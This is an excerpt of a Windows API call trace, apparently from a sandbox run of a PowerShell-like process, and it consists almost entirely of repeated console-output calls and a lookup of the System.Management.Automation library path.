	[0087.902] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x8f, lpConsoleScreenBufferInfo=0x5eaef80 | out: lpConsoleScreenBufferInfo=0x5eaef80) returned 1
	[0087.902] GetLastError () returned 0xcb
	[0087.902] SetConsoleTextAttribute (hConsoleOutput=0x8f, wAttributes=0xc) returned 1
	[0087.902] GetLastError () returned 0xcb
	[0087.902] CloseHandle (hObject=0x8f) returned 1
	[0087.902] GetLastError () returned 0xcb
	[0087.906] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x8f
	[0087.906] GetLastError () returned 0xcb
	[0087.906] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x8f, lpConsoleScreenBufferInfo=0x5eaef80 | out: lpConsoleScreenBufferInfo=0x5eaef80) returned 1
	[0087.906] GetLastError () returned 0xcb
	[0087.906] SetConsoleTextAttribute (hConsoleOutput=0x8f, wAttributes=0xc) returned 1
	[0087.906] GetLastError () returned 0xcb
	[0087.906] CloseHandle (hObject=0x8f) returned 1
	[0087.907] GetLastError () returned 0xcb
	[0087.910] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x8f
	[0087.910] GetLastError () returned 0xcb
	[0087.910] GetConsoleMode (in: hConsoleHandle=0x8f, lpMode=0x5eaefcc | out: lpMode=0x5eaefcc) returned 1
	[0087.910] GetLastError () returned 0xcb
	[0087.910] WriteConsoleW (in: hConsoleOutput=0x8f, lpBuffer=0x2c45f38*, nNumberOfCharsToWrite=0x4f, lpNumberOfCharsWritten=0x5eaefcc, lpReserved=0x0 | out: lpBuffer=0x2c45f38*, lpNumberOfCharsWritten=0x5eaefcc*=0x4f) returned 1
	[0087.910] GetLastError () returned 0xcb
	[0087.910] CloseHandle (hObject=0x8f) returned 1
	[0087.911] GetLastError () returned 0xcb
	[0087.914] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x8f
	[0087.914] GetLastError () returned 0xcb
	[0087.914] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x8f, lpConsoleScreenBufferInfo=0x5eaef7c | out: lpConsoleScreenBufferInfo=0x5eaef7c) returned 1
	[0087.914] GetLastError () returned 0xcb
	[0087.914] SetConsoleTextAttribute (hConsoleOutput=0x8f, wAttributes=0x7) returned 1
	[0087.914] GetLastError () returned 0xcb
	[0087.914] CloseHandle (hObject=0x8f) returned 1
	[0087.915] GetLastError () returned 0xcb
	[0087.918] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x8f
	[0087.918] GetLastError () returned 0xcb
	[0087.918] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x8f, lpConsoleScreenBufferInfo=0x5eaef7c | out: lpConsoleScreenBufferInfo=0x5eaef7c) returned 1
	[0087.918] GetLastError () returned 0xcb
	[0087.918] SetConsoleTextAttribute (hConsoleOutput=0x8f, wAttributes=0x7) returned 1
	[0087.918] GetLastError () returned 0xcb
	[0087.918] CloseHandle (hObject=0x8f) returned 1
	[0087.919] GetLastError () returned 0xcb
	[0087.922] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x8f
	[0087.923] GetLastError () returned 0xcb
	[0087.923] GetConsoleMode (in: hConsoleHandle=0x8f, lpMode=0x5eaf00c | out: lpMode=0x5eaf00c) returned 1
	[0087.923] GetLastError () returned 0xcb
	[0087.923] WriteConsoleW (in: hConsoleOutput=0x8f, lpBuffer=0x2979f7c*, nNumberOfCharsToWrite=0x1, lpNumberOfCharsWritten=0x5eaf00c, lpReserved=0x0 | out: lpBuffer=0x2979f7c*, lpNumberOfCharsWritten=0x5eaf00c*=0x1) returned 1
	[0087.923] GetLastError () returned 0xcb
	[0087.923] CloseHandle (hObject=0x8f) returned 1
	[0087.923] GetLastError () returned 0xcb
	[0087.928] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x8f
	[0087.928] GetLastError () returned 0xcb
	[0087.928] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x8f, lpConsoleScreenBufferInfo=0x5eaefd8 | out: lpConsoleScreenBufferInfo=0x5eaefd8) returned 1
	[0087.928] GetLastError () returned 0xcb
	[0087.928] GetConsoleOutputCP () returned 0x1b5
	[0087.928] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0087.928] GetLastError () returned 0xcb
	[0087.932] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x93
	[0087.933] GetLastError () returned 0xcb
	[0087.933] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x93, lpConsoleScreenBufferInfo=0x5eaef78 | out: lpConsoleScreenBufferInfo=0x5eaef78) returned 1
	[0087.933] GetLastError () returned 0xcb
	[0087.937] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x97
	[0087.937] GetLastError () returned 0xcb
	[0087.937] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x97, lpConsoleScreenBufferInfo=0x5eaef78 | out: lpConsoleScreenBufferInfo=0x5eaef78) returned 1
	[0087.937] GetLastError () returned 0xcb
	[0087.941] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x9b
	[0087.941] GetLastError () returned 0xcb
	[0087.941] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x9b, lpConsoleScreenBufferInfo=0x5eaef80 | out: lpConsoleScreenBufferInfo=0x5eaef80) returned 1
	[0087.941] GetLastError () returned 0xcb
	[0087.941] SetConsoleTextAttribute (hConsoleOutput=0x9b, wAttributes=0xc) returned 1
	[0087.941] GetLastError () returned 0xcb
	[0087.941] CloseHandle (hObject=0x9b) returned 1
	[0087.941] GetLastError () returned 0xcb
	[0087.945] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x9b
	[0087.945] GetLastError () returned 0xcb
	[0087.945] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x9b, lpConsoleScreenBufferInfo=0x5eaef80 | out: lpConsoleScreenBufferInfo=0x5eaef80) returned 1
	[0087.945] GetLastError () returned 0xcb
	[0087.945] SetConsoleTextAttribute (hConsoleOutput=0x9b, wAttributes=0xc) returned 1
	[0087.945] GetLastError () returned 0xcb
	[0087.945] CloseHandle (hObject=0x9b) returned 1
	[0087.946] GetLastError () returned 0xcb
	[0087.949] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x9b
	[0087.949] GetLastError () returned 0xcb
	[0087.949] GetConsoleMode (in: hConsoleHandle=0x9b, lpMode=0x5eaefcc | out: lpMode=0x5eaefcc) returned 1
	[0087.949] GetLastError () returned 0xcb
	[0087.950] WriteConsoleW (in: hConsoleOutput=0x9b, lpBuffer=0x2c463e0*, nNumberOfCharsToWrite=0xb, lpNumberOfCharsWritten=0x5eaefcc, lpReserved=0x0 | out: lpBuffer=0x2c463e0*, lpNumberOfCharsWritten=0x5eaefcc*=0xb) returned 1
	[0087.950] GetLastError () returned 0xcb
	[0087.950] CloseHandle (hObject=0x9b) returned 1
	[0087.950] GetLastError () returned 0xcb
	[0087.954] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x9b
	[0087.955] GetLastError () returned 0xcb
	[0087.955] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x9b, lpConsoleScreenBufferInfo=0x5eaef7c | out: lpConsoleScreenBufferInfo=0x5eaef7c) returned 1
	[0087.955] GetLastError () returned 0xcb
	[0087.955] SetConsoleTextAttribute (hConsoleOutput=0x9b, wAttributes=0x7) returned 1
	[0087.955] GetLastError () returned 0xcb
	[0087.955] CloseHandle (hObject=0x9b) returned 1
	[0087.956] GetLastError () returned 0xcb
	[0087.960] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x9b
	[0087.960] GetLastError () returned 0xcb
	[0087.960] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x9b, lpConsoleScreenBufferInfo=0x5eaef7c | out: lpConsoleScreenBufferInfo=0x5eaef7c) returned 1
	[0087.961] GetLastError () returned 0xcb
	[0087.961] SetConsoleTextAttribute (hConsoleOutput=0x9b, wAttributes=0x7) returned 1
	[0087.961] GetLastError () returned 0xcb
	[0087.961] CloseHandle (hObject=0x9b) returned 1
	[0087.961] GetLastError () returned 0xcb
	[0087.964] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x9b
	[0087.964] GetLastError () returned 0xcb
	[0087.964] GetConsoleMode (in: hConsoleHandle=0x9b, lpMode=0x5eaf00c | out: lpMode=0x5eaf00c) returned 1
	[0087.965] GetLastError () returned 0xcb
	[0087.965] WriteConsoleW (in: hConsoleOutput=0x9b, lpBuffer=0x2979f7c*, nNumberOfCharsToWrite=0x1, lpNumberOfCharsWritten=0x5eaf00c, lpReserved=0x0 | out: lpBuffer=0x2979f7c*, lpNumberOfCharsWritten=0x5eaf00c*=0x1) returned 1
	[0087.965] GetLastError () returned 0xcb
	[0087.965] CloseHandle (hObject=0x9b) returned 1
	[0087.965] GetLastError () returned 0xcb
	[0087.968] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x9b
	[0087.968] GetLastError () returned 0xcb
	[0087.968] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x9b, lpConsoleScreenBufferInfo=0x5eaefd8 | out: lpConsoleScreenBufferInfo=0x5eaefd8) returned 1
	[0087.968] GetLastError () returned 0xcb
	[0087.968] GetConsoleOutputCP () returned 0x1b5
	[0087.968] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0087.968] GetLastError () returned 0xcb
	[0087.971] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x9f
	[0087.971] GetLastError () returned 0xcb
	[0087.971] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x9f, lpConsoleScreenBufferInfo=0x5eaef78 | out: lpConsoleScreenBufferInfo=0x5eaef78) returned 1
	[0087.971] GetLastError () returned 0xcb
	[0087.974] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xa3
	[0087.974] GetLastError () returned 0xcb
	[0087.974] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xa3, lpConsoleScreenBufferInfo=0x5eaef78 | out: lpConsoleScreenBufferInfo=0x5eaef78) returned 1
	[0087.974] GetLastError () returned 0xcb
	[0087.977] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xa7
	[0087.978] GetLastError () returned 0xcb
	[0087.978] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xa7, lpConsoleScreenBufferInfo=0x5eaef80 | out: lpConsoleScreenBufferInfo=0x5eaef80) returned 1
	[0087.978] GetLastError () returned 0xcb
	[0087.978] SetConsoleTextAttribute (hConsoleOutput=0xa7, wAttributes=0xc) returned 1
	[0087.978] GetLastError () returned 0xcb
	[0087.978] CloseHandle (hObject=0xa7) returned 1
	[0087.978] GetLastError () returned 0xcb
	[0087.982] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xa7
	[0087.982] GetLastError () returned 0xcb
	[0087.982] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xa7, lpConsoleScreenBufferInfo=0x5eaef80 | out: lpConsoleScreenBufferInfo=0x5eaef80) returned 1
	[0087.982] GetLastError () returned 0xcb
	[0087.982] SetConsoleTextAttribute (hConsoleOutput=0xa7, wAttributes=0xc) returned 1
	[0087.982] GetLastError () returned 0xcb
	[0087.983] CloseHandle (hObject=0xa7) returned 1
	[0087.983] GetLastError () returned 0xcb
	[0087.988] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xa7
	[0087.988] GetLastError () returned 0xcb
	[0087.988] GetConsoleMode (in: hConsoleHandle=0xa7, lpMode=0x5eaefcc | out: lpMode=0x5eaefcc) returned 1
	[0087.988] GetLastError () returned 0xcb
	[0087.988] WriteConsoleW (in: hConsoleOutput=0xa7, lpBuffer=0x2c46720*, nNumberOfCharsToWrite=0x30, lpNumberOfCharsWritten=0x5eaefcc, lpReserved=0x0 | out: lpBuffer=0x2c46720*, lpNumberOfCharsWritten=0x5eaefcc*=0x30) returned 1
	[0087.989] GetLastError () returned 0xcb
	[0087.989] CloseHandle (hObject=0xa7) returned 1
	[0087.989] GetLastError () returned 0xcb
	[0087.993] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xa7
	[0087.994] GetLastError () returned 0xcb
	[0087.994] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xa7, lpConsoleScreenBufferInfo=0x5eaef7c | out: lpConsoleScreenBufferInfo=0x5eaef7c) returned 1
	[0087.994] GetLastError () returned 0xcb
	[0087.994] SetConsoleTextAttribute (hConsoleOutput=0xa7, wAttributes=0x7) returned 1
	[0087.994] GetLastError () returned 0xcb
	[0087.994] CloseHandle (hObject=0xa7) returned 1
	[0087.995] GetLastError () returned 0xcb
	[0087.999] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xa7
	[0087.999] GetLastError () returned 0xcb
	[0087.999] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xa7, lpConsoleScreenBufferInfo=0x5eaef7c | out: lpConsoleScreenBufferInfo=0x5eaef7c) returned 1
	[0087.999] GetLastError () returned 0xcb
	[0087.999] SetConsoleTextAttribute (hConsoleOutput=0xa7, wAttributes=0x7) returned 1
	[0087.999] GetLastError () returned 0xcb
	[0087.999] CloseHandle (hObject=0xa7) returned 1
	[0088.000] GetLastError () returned 0xcb
	[0088.004] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xa7
	[0088.004] GetLastError () returned 0xcb
	[0088.004] GetConsoleMode (in: hConsoleHandle=0xa7, lpMode=0x5eaf00c | out: lpMode=0x5eaf00c) returned 1
	[0088.004] GetLastError () returned 0xcb
	[0088.004] WriteConsoleW (in: hConsoleOutput=0xa7, lpBuffer=0x2979f7c*, nNumberOfCharsToWrite=0x1, lpNumberOfCharsWritten=0x5eaf00c, lpReserved=0x0 | out: lpBuffer=0x2979f7c*, lpNumberOfCharsWritten=0x5eaf00c*=0x1) returned 1
	[0088.004] GetLastError () returned 0xcb
	[0088.004] CloseHandle (hObject=0xa7) returned 1
	[0088.004] GetLastError () returned 0xcb
	[0088.009] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xa7
	[0088.017] GetLastError () returned 0xcb
	[0088.017] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xa7, lpConsoleScreenBufferInfo=0x5eaefd8 | out: lpConsoleScreenBufferInfo=0x5eaefd8) returned 1
	[0088.017] GetLastError () returned 0xcb
	[0088.017] GetConsoleOutputCP () returned 0x1b5
	[0088.017] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0088.017] GetLastError () returned 0xcb
	[0088.020] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xab
	[0088.021] GetLastError () returned 0xcb
	[0088.021] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xab, lpConsoleScreenBufferInfo=0x5eaef78 | out: lpConsoleScreenBufferInfo=0x5eaef78) returned 1
	[0088.021] GetLastError () returned 0xcb
	[0088.024] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xaf
	[0088.024] GetLastError () returned 0xcb
	[0088.024] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xaf, lpConsoleScreenBufferInfo=0x5eaef78 | out: lpConsoleScreenBufferInfo=0x5eaef78) returned 1
	[0088.024] GetLastError () returned 0xcb
	[0088.027] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xb3
	[0088.027] GetLastError () returned 0xcb
	[0088.027] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xb3, lpConsoleScreenBufferInfo=0x5eaef80 | out: lpConsoleScreenBufferInfo=0x5eaef80) returned 1
	[0088.027] GetLastError () returned 0xcb
	[0088.027] SetConsoleTextAttribute (hConsoleOutput=0xb3, wAttributes=0xc) returned 1
	[0088.028] GetLastError () returned 0xcb
	[0088.028] CloseHandle (hObject=0xb3) returned 1
	[0088.028] GetLastError () returned 0xcb
	[0088.031] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xb3
	[0088.031] GetLastError () returned 0xcb
	[0088.031] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xb3, lpConsoleScreenBufferInfo=0x5eaef80 | out: lpConsoleScreenBufferInfo=0x5eaef80) returned 1
	[0088.032] GetLastError () returned 0xcb
	[0088.032] SetConsoleTextAttribute (hConsoleOutput=0xb3, wAttributes=0xc) returned 1
	[0088.032] GetLastError () returned 0xcb
	[0088.032] CloseHandle (hObject=0xb3) returned 1
	[0088.032] GetLastError () returned 0xcb
	[0088.035] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xb3
	[0088.035] GetLastError () returned 0xcb
	[0088.035] GetConsoleMode (in: hConsoleHandle=0xb3, lpMode=0x5eaefcc | out: lpMode=0x5eaefcc) returned 1
	[0088.035] GetLastError () returned 0xcb
	[0088.035] WriteConsoleW (in: hConsoleOutput=0xb3, lpBuffer=0x2c46b00*, nNumberOfCharsToWrite=0x1, lpNumberOfCharsWritten=0x5eaefcc, lpReserved=0x0 | out: lpBuffer=0x2c46b00*, lpNumberOfCharsWritten=0x5eaefcc*=0x1) returned 1
	[0088.036] GetLastError () returned 0xcb
	[0088.036] CloseHandle (hObject=0xb3) returned 1
	[0088.036] GetLastError () returned 0xcb
	[0088.040] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xb3
	[0088.040] GetLastError () returned 0xcb
	[0088.040] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xb3, lpConsoleScreenBufferInfo=0x5eaef7c | out: lpConsoleScreenBufferInfo=0x5eaef7c) returned 1
	[0088.040] GetLastError () returned 0xcb
	[0088.040] SetConsoleTextAttribute (hConsoleOutput=0xb3, wAttributes=0x7) returned 1
	[0088.040] GetLastError () returned 0xcb
	[0088.040] CloseHandle (hObject=0xb3) returned 1
	[0088.040] GetLastError () returned 0xcb
	[0088.043] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xb3
	[0088.043] GetLastError () returned 0xcb
	[0088.043] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xb3, lpConsoleScreenBufferInfo=0x5eaef7c | out: lpConsoleScreenBufferInfo=0x5eaef7c) returned 1
	[0088.044] GetLastError () returned 0xcb
	[0088.044] SetConsoleTextAttribute (hConsoleOutput=0xb3, wAttributes=0x7) returned 1
	[0088.044] GetLastError () returned 0xcb
	[0088.044] CloseHandle (hObject=0xb3) returned 1
	[0088.044] GetLastError () returned 0xcb
	[0088.047] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xb3
	[0088.048] GetLastError () returned 0xcb
	[0088.048] GetConsoleMode (in: hConsoleHandle=0xb3, lpMode=0x5eaf00c | out: lpMode=0x5eaf00c) returned 1
	[0088.048] GetLastError () returned 0xcb
	[0088.048] WriteConsoleW (in: hConsoleOutput=0xb3, lpBuffer=0x2979f7c*, nNumberOfCharsToWrite=0x1, lpNumberOfCharsWritten=0x5eaf00c, lpReserved=0x0 | out: lpBuffer=0x2979f7c*, lpNumberOfCharsWritten=0x5eaf00c*=0x1) returned 1
	[0088.048] GetLastError () returned 0xcb
	[0088.048] CloseHandle (hObject=0xb3) returned 1
	[0088.048] GetLastError () returned 0xcb
	[0088.107] _CIlog () returned 0x400
	[0088.122] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x6925c8, nSize=0x80 | out: lpBuffer="") returned 0x0
	[0088.122] GetLastError () returned 0xcb
	[0088.123] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x6925c8, nSize=0x80 | out: lpBuffer="") returned 0x0
	[0088.123] GetLastError () returned 0xcb
	[0088.129] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x5eaecf4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0088.129] GetLastError () returned 0xcb
	[0088.129] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x5eaeca4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0088.129] GetLastError () returned 0xcb
	[0088.129] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x5eaeca4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0088.129] GetLastError () returned 0xcb
	[0088.129] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x5eaeca4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0088.129] GetLastError () returned 0xcb
	[0088.213] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xb3, lpConsoleScreenBufferInfo=0x5eae990 | out: lpConsoleScreenBufferInfo=0x5eae990) returned 1
	[0088.214] GetLastError () returned 0xcb
	[0088.222] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xb7
	[0088.222] GetLastError () returned 0xcb
	[0088.222] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xb7, lpConsoleScreenBufferInfo=0x5eaf0a4 | out: lpConsoleScreenBufferInfo=0x5eaf0a4) returned 1
	[0088.222] GetLastError () returned 0xcb
	[0088.222] GetConsoleOutputCP () returned 0x1b5
	[0088.223] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaf000, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaf000) returned 0
	[0088.223] GetLastError () returned 0xcb
	[0088.223] GetConsoleOutputCP () returned 0x1b5
	[0088.223] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaf000, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaf000) returned 0
	[0088.223] GetLastError () returned 0xcb
	[0088.223] GetConsoleOutputCP () returned 0x1b5
	[0088.223] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaf000, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaf000) returned 0
	[0088.223] GetLastError () returned 0xcb
	[0088.223] GetConsoleOutputCP () returned 0x1b5
	[0088.223] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaf000, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaf000) returned 0
	[0088.223] GetLastError () returned 0xcb
	[0088.223] GetConsoleOutputCP () returned 0x1b5
	[0088.223] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0088.223] GetLastError () returned 0xcb
	[0088.223] GetConsoleOutputCP () returned 0x1b5
	[0088.223] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
